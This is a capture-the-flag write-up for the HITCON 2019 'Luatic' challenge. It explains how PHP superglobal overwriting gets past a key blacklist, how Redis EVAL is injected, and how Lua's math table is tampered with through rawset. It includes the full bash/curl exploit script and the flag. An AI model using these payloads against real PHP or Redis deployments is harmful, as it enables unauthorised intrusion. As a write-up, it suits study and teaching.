Skip to content

Instantly share code, notes, and snippets.

@badicsalex
Last active October 18, 2019 22:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save badicsalex/0d9c4a95f274363717f68d948ebc055f to your computer and use it in GitHub Desktop.
Save badicsalex/0d9c4a95f274363717f68d948ebc055f to your computer and use it in GitHub Desktop.
Writeup for the Luatic task in Hitcon 2019

Luatic

Description

Win the jackpot!

Type

🍊

(misc php redis lua pwn thing)

Code

After visiting the service with a browser, we are greeted by very simple form with an input box and a few buttons. Clicking [Luatic] yields the source for the task:

<?php  
/* Author: Orange Tsai(@orange_8361) */  
include "config.php";  
  
foreach($_REQUEST as $k=>$v) {  
if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) )  
exit('Shame on you');  
}  
  
foreach(Array('_GET','_POST') as $request) {  
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);  
}  
  
if (strlen($token) == 0) highlight_file(__FILE__) and exit();  
if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you');  
  
$guess = (int)$guess;  
if ($guess == 0) die('Shame on you');  
  
// Check team token  
$status = check_team_redis_status($token);  
if ($status == "Invalid token") die('Invalid token');  
if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first');  
  
// Get team redis port  
$port = get_team_redis_port($token);  
if ((int)$port < 1024) die('Try again');  
  
// Connect, we rename insecure commands  
// rename-command CONFIG ""  
// rename-command SCRIPT ""  
// rename-command MODULE ""  
// rename-command SLAVEOF ""  
// rename-command REPLICAOF ""  
// rename-command SET $MY_SET_COMMAND  
$redis = new Redis();  
$redis->connect("127.0.0.1", $port);  
if (!$redis->auth($token)) die('Auth fail');  
  
// Check availability  
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);  
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');  
  
// Lottery!  
$LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";  
$seed = random_int(0, 0xffffffff / 2);  
$count = random_int(5, 10);  
$result = $redis->eval($LUA_LOTTERY, array($seed, $count));  
  
sleep(3); // Slow down...  
if ((int)$result === $guess)  
die("Congratulations, the flag is $FLAG");  
die(":(");  

Tl;dr

The code above does the following:

  1. If any Key in GET or POST starts with FLAG, MY_, TEST_ or GLOBALS, die
  2. Then basically put every GET or POST variable into the global namespace (a'la register_globals), but with a sanitization on the values, most importantly the value cannot contain []-s or ..
  3. Then see if the $token variable exists, and is a $token for our team.
  4. Connect to Redis. Every team has their own Redis instance
  5. Run a SET command via the rawCommand API of the Redis object
  6. Run a GET command on the same KEY/VAL, and check if it exists
  7. EVAL a simple LUA script that outputs a random integer, and check it vs the $guess variable.
  8. If guess is OK, print flag

Vulns

register_globals stuff

It's pretty apparent that we have to somehow overwrite the contents of $MY_SET_COMMAND, $TEST_KEY and $TEST_VALUE. How to avoid detection?

Turns out, in PHP, $_GET and $_POST are simple variables (superglobal, but not as special as $_GLOBALS), and something like $_GET[a] = 5 is perfectly valid. Also, since $_GET and $_POST are processed separately, we can modify the contents of $_POST after the key checking, but before it being used.

I.e., ig $_GET is _POST[MY_SET_COMMAND]=PWND, first the MY_SET_COMMAND element of $_POST will be set, but then the MY_SET_COMMAND will be set to PWND.

We will use this to set arbitrary variables to not so arbitrary values.

Redis injection

The rawSet command looks like it's specifically crafted so that we can call a 2 parameter Redis command. The command of our choice will be EVAL, the first parameter of which is a LUA script, the second parameter is the amount of keys the LUA script will touch (this will be 0 for us).

One more thing to do is call the script without overwriting MY_SET_COMMAND, so the "key" (the script) and "value" (0) will be in the database for the get check.

Redis LUA globals thing

It's also pretty obvious that we should modify the behaviour of the random EVAL call, so that it returns something deterministic. Redis supposedly does not let LUA scripts communicate between eval calls, with global variables protection. It basically does not let scripts create global variables. The documentation also states that it's not hard to circumvent this limitation.

This is important, because LUA state persists between EVAL calls.

One of the things the global checker does not check is the state of the math table (remember, everything in LUA is a table, and somewhat liek javascript, table elements are accessible with both [] and .). So if we do math.random = function(x) return 1 end, we can force the random to be always 1.

Sanitization 2: the sanitizening

Turns our, we can not use ., [], or even " or '. So no array access, or strings for us.

Luckily, we have two primitives:

  1. The rawset() function (simple brackets still allowed), which is basically a fancy = operator
  2. The foreach construct, so that we don't need the "random" string for the rawset call. We will simply set all math functions to return 1.

Final LUA code:

for key, value in pairs(math) do
    rawset(math, key, function(x) return 1 end)
end

Exploit

I was in a bash mood that day, so we get this monstrosity, complete with url encoding in bash, copied from stackoverflow:

#!/bin/bash
# SET URL and TOKEN as ENV VARS before running!
#URL=127.0.0.1:8888
#TOKEN=adsadsasd
URL_PREFIX="http://$URL/luatic.php?_POST[token]=$TOKEN&_POST[guess]=1"

rawurlencode() {
  local string="${1}"
  local strlen=${#string}
  local encoded=""
  local pos c o

  for (( pos=0 ; pos<strlen ; pos++ )); do
     c=${string:$pos:1}
     case "$c" in
        [-_.~a-zA-Z0-9] ) o="${c}" ;;
        * )               printf -v o '%%%02x' "'$c"
     esac
     encoded+="${o}"
  done
  SCRIPT="${encoded}"   #+or echo the result (EASIER)... or both... :p
}

rawurlencode "
for key, value in pairs(math) do
    rawset(math, key, function(x) return 1 end)
end
"

echo $SCRIPT


echo "Set for the script"
curl -g \
   "${URL_PREFIX}&_POST[TEST_KEY]=$SCRIPT&_POST[TEST_VALUE]=0" \
   -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'NO'
echo

echo "Running the script"

curl -g \
    "${URL_PREFIX}&_POST[MY_SET_COMMAND]=EVAL&_POST[TEST_KEY]=$SCRIPT&_POST[TEST_VALUE]=0" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data 'NO'
echo

Flag

hitcon{Lua^H Red1s 1s m4g1c!!!}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment